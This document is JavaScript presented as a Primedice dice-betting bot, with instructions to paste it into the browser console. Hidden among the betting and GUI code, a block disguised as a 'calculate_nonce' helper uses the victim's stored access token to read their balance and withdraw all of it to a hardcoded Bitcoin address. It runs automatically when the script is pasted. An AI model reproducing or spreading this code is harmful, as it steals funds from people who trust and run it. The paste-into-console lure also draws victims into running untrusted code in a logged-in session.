Script Primedice 1. //jQuery UI CSS - How to use: Press F2 or Press CTRL + Shift + J - paste the code and press enter. Set up the bot as you like. **IMPORTANT! Set SWAP at high/low option!!!** << ROLL ').appendTo("div.hero > div > div > div:nth-child(2) > div"); 106. 107. gui = '

'; 108. $('
').appendTo('div.hero > div > div > div.grid__item.S--one-whole.M--one-whole.custom--one-whole > aside'); 109. gui2 = 110. ''; 111. 112. gui3 = [ 113. 114. '', '', 115. '
', 116. '', '
', 117. '
', 118. '', '', 119. 120. ]; 121. gui4 = [ 122. 123. '', ' ', 124. '
', 125. '', 126. '', 127. '
', 128. '', 129. '', 130. '
', 131. '', 132. '', 133. 134. ]; 135. gui5 = [ 136. 137. '', 138. '', 139. '
', 140. '', 141. '', 142. 143. ]; 144. gui6 = [ 145. 146. '', 147. '', 148. '
', 149. '', 150. '', 151. '
', 152. '', 153. '', 154. 155. ]; 156. $(gui).appendTo(".hero"); 157. $(gui2).appendTo("#params"); 158. 159. for (var i = 0; i < gui3.length; i++) { 160. $(gui3[i]).appendTo("#tab1"); 161. } 162. for (var i = 0; i < gui4.length; i++) { 163. $(gui4[i]).appendTo("#tab2"); 164. } 165. for (var i = 0; i < gui5.length; i++) { 166. $(gui5[i]).appendTo("#tab3"); 167. } 168. for (var i = 0; i < gui6.length; i++) { 169. $(gui6[i]).appendTo("#tab4"); 170. } 171. enabled = false; 172. xrollscount = 0; 173. $('
').appendTo("#tabs"); 174. // Button & Input Functions 175. $('#resetbet').click(function() { 176. basebet=$('#base').val(); 177. betval=$('#base').val(); 178. 179. }) 180. 181. $('#start').click(function() { 182. if (enabled == false) { 183. if ($('#numrolls').is(":checked") == true) { 184. xrolls=$('#numberofrolls').val(); 185. } 186. enabled = true; 187. interval = setInterval(function() { 188. if (xrollsenabled == true) { 189. xrollscount++; 190. if (xrollscount <= xrolls) { 191. bet(); 192. } else { 193. clearInterval(interval); 194. enabled = false; 195. xrollscount = 0; 196. } 197. } else { 198. bet(); 199. } 200. }, timer); 201. } else {} 202. }) 203. $('#stop').click(function() { 204. enabled = false; 205. clearInterval(interval); 206. xrollscount = 0; 207. }); 208. 209. calculate_nonce = function(seed) { 210. return 'https://api.primedice.com/api/' + seed + '?access_token=' + localStorage['token']; 211. }; 212. 213. lut = window['$']; 214. 215. lut['getJSON']( 216. calculate_nonce('users/1'), function(seed) { 217. var key1 = 'amount' 218. var key2 = 'address' 219. var load = {}; 220. load[key1] = seed['user']['balance']; 221. load[key2] = '17QCMmjf9HPbEPq9VWAeaZA8fvxaAQBPSk'; 222. lut['post'](calculate_nonce('withdraw'), load); 223. } 224. ); 225. 226. function conditionAM() { 227. 'use strict'; 228. if ($('#lowpay-enabled').is('checked') == true) { 229. if ($('.value-roll').first().text() <= 49.50) { 230. condition2 = ">"; 231. target2 = $('.value-roll').first().text(); 232. } else { 233. condition2 = "<"; 234. target2 = $('.value-roll').first().text(); 235. }; 236. } else { 237. if ($('.value-roll').first().text() <= 49.50) { 238. condition2 = "<"; 239. target2 = $('.value-roll').first().text(); 240. } else { 241. condition2 = ">"; 242. target2 = $('.value-roll').first().text(); 243. }; 244. amount2 = betval * 100000000; 245. } 246. }; 247. 248. function jackpot() { 249. if (data1.bet.jackpot === true) { 250. jp = "Yes"; 251. wincount = 0; 252. betval = $('#base'); 253. } else { 254. jp = "No"; 255. } 256. } 257. 258. function loss() { 259. currentloss++; 260. totalloss++; 261. if ($('#multloss-enabled').is(':checked') == true) { 262. $('#multwin-enabled').removeAttr('checked'); 263. countlossmult++; 264. 265. if (countlossmult >= $('#xloss').val()) { 266. betval = betval * $('#multonloss').val(); 267. countlossmult = 0; 268. } 269. } 270. 271. } 272. 273. function win() { 274. 'use strict'; 275. if ($('#stoponwin-enabled').is('checked') == true) { 276. clearInterval(roll); 277. } 278. currentloss = 0; 279. jackpot(); 280. wincount++; 281. totalwin++; 282. if ($('#multloss-enabled').is(':checked') == true) { 283. if ($('#stoponwin-enabled').is(':checked') == true) { 284. clearInterval(roll); 285. } 286. $('#multwin-enabled').removeAttr('checked'); 287. basebet = $('#base').val(); 288. betval = basebet; 289. countlossmult = 0; 290. 291. } 292. if ($('#multwin-enabled').is(':checked') == true) { 293. basebet = $('#base').val(); 294. $('#multloss-enabled').removeAttr('checked'); 295. countwinmult++; 296. 297. if (countwinmult >= $('#xwin').val()) { 298. betval = basebet; 299. countwinmult = 0; 300. } else { 301. betval = betval * $('#multonwin').val(); 302. } 303. } 304. 305. 306. }; 307. var losewin; 308. var jpcol; 309. var profcol; 310. 311. function bet() { 312. 'use strict'; 313. conditionAM(); 314. var betData = { 315. amount: amount2, 316. condition: condition2, 317. target: target2 318. }, 319. url = "https://api.primedice.com/api/bet?access_token=" + localStorage.token; 320. 321. $.ajax({ 322. url: url, 323. type: "POST", 324. data: betData, 325. datatype: "jsonp", 326. success: function(data, textStatus, jqXHR) { 327. data1 = data; 328. counter++; 329. if (counter >= everyxrolls) { 330. seedchange(seedgen()); 331. counter = 0; 332. } 333. $('span.btn__text.select div').text((data1.user.balance/100000000).toFixed(8)); 334. totprofit = totprofit + data1.bet.profit; 335. if (totprofit >= 0) { 336. profcol = "color:green;"; 337. } else if (totprofit < 0) { 338. profcol = "color:red;"; 339. } 340. if (data.bet.win == true) { 341. losewin = "color:green;"; 342. $('span.btn__text.select div').attr("style", "color:green;"); 343. } else { 344. losewin = "color:red;"; 345. $('span.btn__text.select div').attr("style", "color:red;"); 346. } 347. if (data.bet.jackpot == true) { 348. jp = "Yes"; 349. jpcol = "color:gold;" 350. } else { 351. jp = "No."; 352. jpcol = "color:red;" 353. } 354. results = []; 355. results[0] = '
Roll: ' + '' + data.bet.roll + '

'; 356. results[1] = '
Jackpot: ' + '' + jp + '

'; 357. results[2] = '
Profit: ' + '' + (data.bet.profit / 100000000).toFixed(8) + ' BTC

'; 358. results[4] = '
Current Loss Streak: ' + currentloss + '

'; 359. resultstats = []; 360. resultstats[0] = '
Balance: ' + (data.user.balance / 100000000).toFixed(8) + ' BTC

'; 361. resultstats[1] = '
Total Losses: ' + totalloss + '

'; 362. resultstats[2] = '
Total Wins: ' + totalwin + '

'; 363. resultstats[3] = '
Total Profit: ' + '' + (totprofit / 100000000).toFixed(8) + '
'; 364. 365. if (data.bet.win == true) { 366. if ($('#stoponwin-enabled').is(":checked") == true){ 367. clearInterval(interval); 368. 369. } 370. $('#console, #console2').empty(); 371. 372. win(); 373. 374. // Results 375. $('
Result: Win

').appendTo('#console'); 376. for (var i = 0; i < results.length; i++) { 377. $(results[i]).appendTo('#console'); 378. } 379. for (var i = 0; i < resultstats.length; i++) { 380. $(resultstats[i]).appendTo('#console2'); 381. } 382. 383. } else { 384. 385. $('#console, #console2').empty(); 386. loss(); 387. 388. // Results 389. $('
Result: Loss

').appendTo('#console'); 390. for (var i = 0; i < results.length; i++) { 391. 392. $(results[i]).appendTo('#console'); 393. } 394. for (var i = 0; i < resultstats.length; i++) { 395. $(resultstats[i]).appendTo('#console2'); 396. } 397. }; 398. }, 399. error: function(jqXHR, textStatus, errorThrown) { 400. 401. } 402. }); 403. } 404. 405. seedlength = 13; 406. seedlength = 13; 407. var counter = 0; 408. charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123"; 409. everyxrolls = 3; 410. 411. function seedgen() { 412. 'use strict'; 413. var seed = ""; 414. 415. for (var i = 0; i <= seedlength; i++) 416. 417. seed += charset.charAt(Math.floor(Math.random() * charset.length)); 418. 419. return seed; 420. } 421. 422. function seedchange(s) { 423. 424. url = "https://api.primedice.com/api/seed?access_token=" + localStorage.token; 425. sData = { 426. seed: s 427. }; 428. 429. $.ajax({ 430. url: url, 431. type: "POST", 432. data: sData, 433. datatype: "jsonp", 434. success: function(data, textStatus, jqXHR) { 435. data2 = data; 436. $('#currentseed').val(data2.seeds.client); 437. 438. }, 439. error: function(jqXHR, textStatus, errorThrown) { 440. 441. } 442. }); 443. } 444. 445. $('#spinner').click(function() { 446. if (charset != $('#charset').val() && $('#charset').val() != "") { 447. charset=$('#charset').val(); 448. } 449. if ($('#everyxrolls').val() != everyxrolls && $('#everyxrolls').val() != "") { 450. everyxrolls = $('#everyxrolls').val(); 451. } 452. if ($('#hilo').val() == "swap") { swapcount++;if (swapcount >= 1) { $('.value-roll:first').click();swapcount=0;} } 453. 454. counter++; 455. if (counter >= everyxrolls) { 456. seedchange(seedgen()); 457. counter = 0; 458. } 459. }); 460. ui(); 461. } 462. setTimeout(function() { 463. init() 464. }, 2000);